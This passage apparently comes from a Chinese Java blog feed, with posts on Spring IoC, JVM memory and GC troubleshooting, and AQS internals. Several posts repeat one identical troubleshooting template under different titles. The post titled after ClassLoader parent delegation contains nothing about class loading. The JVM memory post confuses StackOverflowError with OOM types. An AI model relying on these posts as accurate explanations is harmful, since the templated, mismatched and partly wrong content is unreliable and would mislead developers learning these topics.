class="line">    <span class="meta">@Profile(&quot;dev&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">devDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">HikariDataSource</span>(devConfig);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="meta">@Profile(&quot;prod&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> DataSource <span class="title function_">prodDataSource</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">HikariDataSource</span>(prodConfig);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-AOP-支持"><a href="#3-AOP-支持" class="headerlink" title="3. AOP 支持"></a>3. AOP 支持</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Aspect</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LoggingAspect</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Around(&quot;execution(* com.example.app.service.*.*(..))&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">logExecutionTime</span><span class="params">(ProceedingJoinPoint joinPoint)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">startTime</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        </span><br><span class="line">        <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> joinPoint.proceed();</span><br><span class="line">        </span><br><span class="line">        <span class="type">long</span> <span class="variable">endTime</span> <span class="operator">=</span> System.currentTimeMillis();</span><br><span class="line">        log.info(<span class="string">&quot;&#123;&#125; executed in &#123;&#125;ms&quot;</span>, </span><br><span class="line">            joinPoint.getSignature().getName(), </span><br><span class="line">            endTime - startTime);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><p>#</p><h2 id="误区一：过度依赖字段注入"><a href="#误区一：过度依赖字段注入" class="headerlink" title="误区一：过度依赖字段注入"></a>误区一：过度依赖字段注入</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 不推荐：字段注入</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository; <span class="comment">// 难以测试</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="误区二：滥用-Autowired-required-false"><a href="#误区二：滥用-Autowired-required-false" class="headerlink" title="误区二：滥用 @Autowired(required = false)"></a>误区二：滥用 @Autowired(required = false)</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 慎用：可能隐藏设计问题</span></span><br><span class="line"><span class="meta">@Autowired(required = false)</span></span><br><span class="line"><span class="keyword">private</span> OptionalFeature optionalFeature;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="误区三：忽略循环依赖"><a href="#误区三：忽略循环依赖" class="headerlink" title="误区三：忽略循环依赖"></a>误区三：忽略循环依赖</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// ❌ 循环依赖</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">A</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> B b;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">A</span><span class="params">(B b)</span> &#123; <span class="built_in">this</span>.b = b; &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">B</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> A a;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">B</span><span class="params">(A a)</span> &#123; <span class="built_in">this</span>.a = a; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>IoC 容器的核心价值：</p><ol><li><strong>解耦</strong>：降低组件间的依赖关系</li><li><strong>可测试</strong>：便于单元测试和集成测试</li><li><strong>可配置</strong>：灵活的配置和扩展能力</li><li><strong>统一管理</strong>：集中管理对象的生命周期</li></ol><p>理解 IoC 容器是掌握 Spring 框架的关键，希望这些内容能帮到你。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>依赖注入实现了控制反转，把对象创建的控制权交给容器</p></li><li><p>构造器注入优于字段注入，能保证依赖的不可变性和非空性</p></li><li><p>IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力</p></li><li><p>通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>内存溢出和内存泄漏在 Java 项目中并不少见。本文讲排查流程和常见原因。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上 CPU 飙高如何定位 Java 问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上-CPU-飙高如何定位-Java-问题"><a href="#线上-CPU-飙高如何定位-Java-问题" class="headerlink" title="线上 CPU 飙高如何定位 Java 问题"></a>线上 CPU 飙高如何定位 Java 问题</h1><p>线上 CPU 飙高是典型的紧急问题。本文讲一套从定位到解决的排查流程。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JVM 内存区域从入门到排查</title>
      <link href="//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/"/>
      <url>//jvm-nei-cun-qu-yu-cong-ru-men-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="JVM-内存区域从入门到排查"><a href="#JVM-内存区域从入门到排查" class="headerlink" title="JVM 内存区域从入门到排查"></a>JVM 内存区域从入门到排查</h1><p>JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域</p></li><li><p>栈内存是线程私有的，每个线程都有自己的栈空间</p></li><li><p>方法区（元空间）存储类信息、常量池等</p></li><li><p>常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 原理：为什么它是 Java 并发工具的基石</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-原理：为什么它是-Java-并发工具的基石"><a href="#AQS-原理：为什么它是-Java-并发工具的基石" class="headerlink" title="AQS 原理：为什么它是 Java 并发工具的基石"></a>AQS 原理：为什么它是 Java 并发工具的基石</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="什么是-AQS"><a href="#什么是-AQS" class="headerlink" title="什么是 AQS"></a>什么是 AQS</h2><p>#</p><h2 id="核心思想"><a href="#核心思想" class="headerlink" title="核心思想"></a>核心思想</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// AQS 的核心是一个共享状态 + 等待队列</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">    <span class="comment">// 共享状态，用 volatile 保证可见性</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> state;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 等待队列的头节点</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node head;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 等待队列的尾节点</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node tail;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="两种模式"><a href="#两种模式" class="headerlink" title="两种模式"></a>两种模式</h2><table><thead><tr><th>模式</th><th>特点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>独占模式</strong></td><td>只有一个线程能获取锁</td><td>ReentrantLock</td></tr><tr><td><strong>共享模式</strong></td><td>多个线程可同时获取</td><td>Semaphore, CountDownLatch</td></tr></tbody></table><h2 id="核心实现"><a href="#核心实现" class="headerlink" title="核心实现"></a>核心实现</h2><p>#</p><h2 id="1-获取锁"><a href="#1-获取锁" class="headerlink" title="1. 获取锁"></a>1. 获取锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">acquire</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 尝试获取锁</span></span><br><span class="line">    <span class="keyword">if</span> (!tryAcquire(arg)) &#123;</span><br><span class="line">        <span class="comment">// 2. 获取失败，加入等待队列</span></span><br><span class="line">        <span class="type">Node</span> <span class="variable">node</span> <span class="operator">=</span> addWaiter(Node.EXCLUSIVE);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 自旋等待</span></span><br><span class="line">        acquireQueued(node, arg);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-等待队列"><a href="#2-等待队列" class="headerlink" title="2. 等待队列"></a>2. 等待队列</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> Node <span class="title function_">addWaiter</span><span class="params">(Node mode)</span> &#123;</span><br><span class="line">    <span class="comment">// 创建新节点</span></span><br><span class="line">    <span class="type">Node</span> <span class="variable">node</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Node</span>(Thread.currentThread(), mode);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// CAS 加入队列尾部</span></span><br><span class="line">    <span class="type">Node</span> <span class="variable">pred</span> <span class="operator">=</span> tail;</span><br><span class="line">    <span class="keyword">if</span> (pred != <span class="literal">null</span>) &#123;</span><br><span class="line">        node.prev = pred;</span><br><span class="line">        <span class="keyword">if</span> (compareAndSetTail(pred, node)) &#123;</span><br><span class="line">            pred.next = node;</span><br><span class="line">            <span class="keyword">return</span> node;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 队列未初始化，初始化后重试</span></span><br><span class="line">    enq(node);</span><br><span class="line">    <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-自旋等待"><a href="#3-自旋等待" class="headerlink" title="3. 自旋等待"></a>3. 自旋等待</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">acquireQueued</span><span class="params">(<span class="keyword">final</span> Node node, <span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span> <span class="variable">failed</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">interrupted</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">            <span class="comment">// 获取前驱节点</span></span><br><span class="line">            <span class="keyword">final</span> <span class="type">Node</span> <span class="variable">p</span> <span class="operator">=</span> node.predecessor();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 如果前驱是头节点，尝试获取锁</span></span><br><span class="line">            <span class="keyword">if</span> (p == head &amp;&amp; tryAcquire(arg)) &#123;</span><br><span class="line">                setHead(node);</span><br><span class="line">                p.next = <span class="literal">null</span>; <span class="comment">// 帮助 GC</span></span><br><span class="line">                failed = <span class="literal">false</span>;</span><br><span class="line">                <span class="keyword">return</span> interrupted;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 判断是否需要阻塞</span></span><br><span class="line">            <span class="keyword">if</span> (shouldParkAfterFailedAcquire(p, node) &amp;&amp;</span><br><span class="line">                parkAndCheckInterrupt()) &#123;</span><br><span class="line">                interrupted = <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (failed) &#123;</span><br><span class="line">            cancelAcquire(node);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="基于-AQS-的并发工具"><a href="#基于-AQS-的并发工具" class="headerlink" title="基于 AQS 的并发工具"></a>基于 AQS 的并发工具</h2><p>#</p><h2 id="ReentrantLock"><a href="#ReentrantLock" class="headerlink" title="ReentrantLock"></a>ReentrantLock</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReentrantLock</span> <span class="keyword">implements</span> <span class="title class_">Lock</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Sync sync;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">abstract</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">final</span> <span class="type">Thread</span> <span class="variable">current</span> <span class="operator">=</span> Thread.currentThread();</span><br><span class="line">            <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (c == <span class="number">0</span>) &#123;</span><br><span class="line">                <span class="comment">// 首次获取锁</span></span><br><span class="line">                <span class="keyword">if</span> (compareAndSetState(<span class="number">0</span>, acquires)) &#123;</span><br><span class="line">                    setExclusiveOwnerThread(current);</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (current == getExclusiveOwnerThread()) &#123;</span><br><span class="line">                <span class="comment">// 重入：同一线程再次获取</span></span><br><span class="line">                setState(c + acquires);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Semaphore"><a href="#Semaphore" class="headerlink" title="Semaphore"></a>Semaphore</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Semaphore</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Sync sync;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">abstract</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">available</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="type">int</span> <span class="variable">remaining</span> <span class="operator">=</span> available - acquires;</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> (remaining &lt; <span class="number">0</span> || </span><br><span class="line">                    compareAndSetState(available, remaining)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> remaining;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="CountDownLatch"><a href="#CountDownLatch" class="headerlink" title="CountDownLatch"></a>CountDownLatch</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CountDownLatch</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Sync sync;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        Sync(<span class="type">int</span> count) &#123;</span><br><span class="line">            setState(count);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> getState() == <span class="number">0</span> ? <span class="number">1</span> 